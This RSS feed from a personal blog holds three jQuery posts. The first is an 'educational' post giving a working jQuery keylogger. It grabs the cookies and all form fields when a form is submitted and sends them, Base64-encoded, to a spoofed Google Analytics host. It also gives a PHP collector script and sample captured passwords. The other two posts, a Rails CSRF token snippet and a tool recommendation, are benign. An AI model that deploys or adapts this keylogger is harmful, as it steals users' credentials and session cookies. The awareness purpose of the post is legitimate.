<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Makl Ndrix &#187; jquery</title>
	<atom:link href="http://michaelhendrickx.com/tag/jquery/feed" rel="self" type="application/rss+xml" />
	<link>http://michaelhendrickx.com</link>
	<description>may contain traces of nuts</description>
	<lastBuildDate>Tue, 24 Jan 2012 06:47:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>JQlog: JQuery Keylogger, or why not to trust your proxy admin.</title>
		<link>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html</link>
		<comments>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html#comments</comments>
		<pubDate>Mon, 06 Jun 2011 07:55:13 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jkeylog]]></category>
		<category><![CDATA[jqlog]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[key logger]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=453</guid>
		<description><![CDATA[Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools. The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html' addthis:title='JQlog: JQuery Keylogger, or why not to trust your proxy admin.'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<div style="color:#808080;padding:5px 20px">
<em>Note that this post is for awareness and educational purposes only.  I do not encourage, and cannot be held responsible for malicious actions using these tools.</em></div>
<p>The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites.  Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page.  Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, &#8230;).  It&#8217;s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.</p>
<p>&#8220;Overwriting&#8221; javascript libraries, or rather &#8220;inserting javascript&#8221; can be done in several ways.  Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and &#8220;fake&#8221; the ga.js javascript file.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/06/jq2.jpg" alt="" title="jq(2)" width="627" height="223" class="aligncenter size-full wp-image-459" /></p>
<p>For this, you&#8217;d need only 2 files:</p>
<ul>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>Javascript keylogger</a></li>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>PHP backend script</a></li>
</ul>
<p>This javascript file, found <a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>here</a>, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself: <span id="more-453"></span></p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});</pre>
</div>
<p>Upon a &#8220;form submit&#8221; event, the current URL, the current cookie and all the page &lt;input&gt; fields are stored in a JSON object.  This is Base64 encoded and passed on to a defined URL (<strong>http://www.google-analytics.com/dump.php?a=</strong> in this above case).</p>
<div style="color:#808080;padding:10px 20px">
<em>Functions such as $.ajax() or $.post() would not work due to cross-domain limitations.  Henceforth, I used $.getScript to pass on the data to an external URL.  </em>
</div>
<p>The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case.  This script (<a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>here</a>) stores the current date, and a dump of all passed on variables in a defined text file.</p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>
  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);
</pre>
</div>
<p>Since it decodes a JSON object, dump.php will require JSON support, this can be installed using <a href="http://pear.php.net/">pear</a>.  Debian, it&#8217;s done using the following:</p>
<pre>
  apt-get install php-pear
  pear install Services_JSON</pre>
<p>To verify this, you will see a JSON entry in the phpinfo() output.</p>
<p>When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all &lt;form&gt; submits should be recorded in the text file, in the form of:</p>
<pre style="padding-left:20px">
on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
<strong>name : user
pass : secret1552</strong>
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :
</pre>
<p>No, this is no hack against Google Analytics or 7days, the latter is  something that would <a href="http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html">look slightly different</a>.  <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Although this example uses Google Analytics, it could be used for many other &#8220;popular&#8221; javascripts that are included in terms of widgets.  The handy things about Google Analytics is that it&#8217;s invisible to the user whether it is loaded or not.  </p>
<p>Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them.  Always make sure you can trust your proxy administrators.</p>
<p>Thank you,<br />
Michael</p>
<p>PS: these scripts are far from perfect, they don&#8217;t trap XHR requests and many other things, but it gets the point across.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>JQuery AJAX with Rails&#8217; authenticity token</title>
		<link>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html</link>
		<comments>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html#comments</comments>
		<pubDate>Tue, 07 Dec 2010 06:35:52 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=399</guid>
		<description><![CDATA[In Ruby on Rails, authenticity tokens are generated to prevent CSRF (Cross Site Request Forgery) attacks. These tokens generate a unique &#8220;identifier&#8221; to prevent other website from making requests on your behalf, or so-called &#8220;session riding&#8221;. In Ruby on Rails, to have this identifier available for you, you need to put in your view, usually [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html' addthis:title='JQuery AJAX with Rails&#8217; authenticity token'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2010/12/bulldog.png" alt="" title="bulldog" width="178" height="173" align="right" class="alignright size-full wp-image-404" />In Ruby on Rails, authenticity tokens are generated to <a href="http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html">prevent</a> CSRF (Cross Site Request Forgery) attacks.  These tokens generate a unique &#8220;identifier&#8221; to prevent other website from making requests on your behalf, or so-called &#8220;session riding&#8221;.</p>
<p>In Ruby on Rails, to have this identifier available for you, you need to put <strong><%= csrf_meta_tag %></strong> in your view, usually in <em>app/views/layouts/application.html.erb</em>.  This tag creates something like:</p>
<blockquote><p>
&lt;meta name=&#8221;csrf-param&#8221; content=&#8221;authenticity_token&#8221;/&gt;<br />
&lt;meta name=&#8221;csrf-token&#8221; content=&#8221;uDDuQj14CCJ&#8230;&#8221;&gt;
</p></blockquote>
<p>If you create your own AJAX functions, say with <a href="http://www.jquery.com">JQuery</a>, you would need these values in order to have rails handle your request.  This can be done using the following:</p>
<blockquote><p>
  var param =  $(‘meta[name=csrf-token]‘).attr(‘content’);
</p></blockquote>
<p>Which you can use then in your AJAX requests</p>
<blockquote><p>  $.post(&#8216;/post&#8217;, { body: $(&#8216;#post_body&#8217;).val(), authenticity_token: param }, function(data){<br />
    var ret =  jQuery.parseJSON(data);<br />
    if(ret.status==&#8221;ok&#8221;) {<br />
      &#8230;
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Make HTML pages quickly, Drawter</title>
		<link>http://michaelhendrickx.com/200811_make-html-pages-quickly-drawter.html</link>
		<comments>http://michaelhendrickx.com/200811_make-html-pages-quickly-drawter.html#comments</comments>
		<pubDate>Thu, 27 Nov 2008 14:23:03 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[drawter]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=91</guid>
		<description><![CDATA[Drawter is one of those tools that are just too good to be true. It allows you to &#8220;draw&#8221; a page, and then export it&#8217;s CSS and HTML code. It uses JQuery heavily, and I&#8217;m loving it. It does one simple thing, making HTML pages, but does it very well.<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200811_make-html-pages-quickly-drawter.html' addthis:title='Make HTML pages quickly, Drawter'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://drawter.com/">Drawter</a> is one of those tools that are just too good to be true.  It allows you to &#8220;draw&#8221; a page, and then export it&#8217;s CSS and HTML code.  </p>
<p>It uses JQuery heavily, and I&#8217;m loving it.  It does one simple thing, making HTML pages, but does it very well.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200811_make-html-pages-quickly-drawter.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

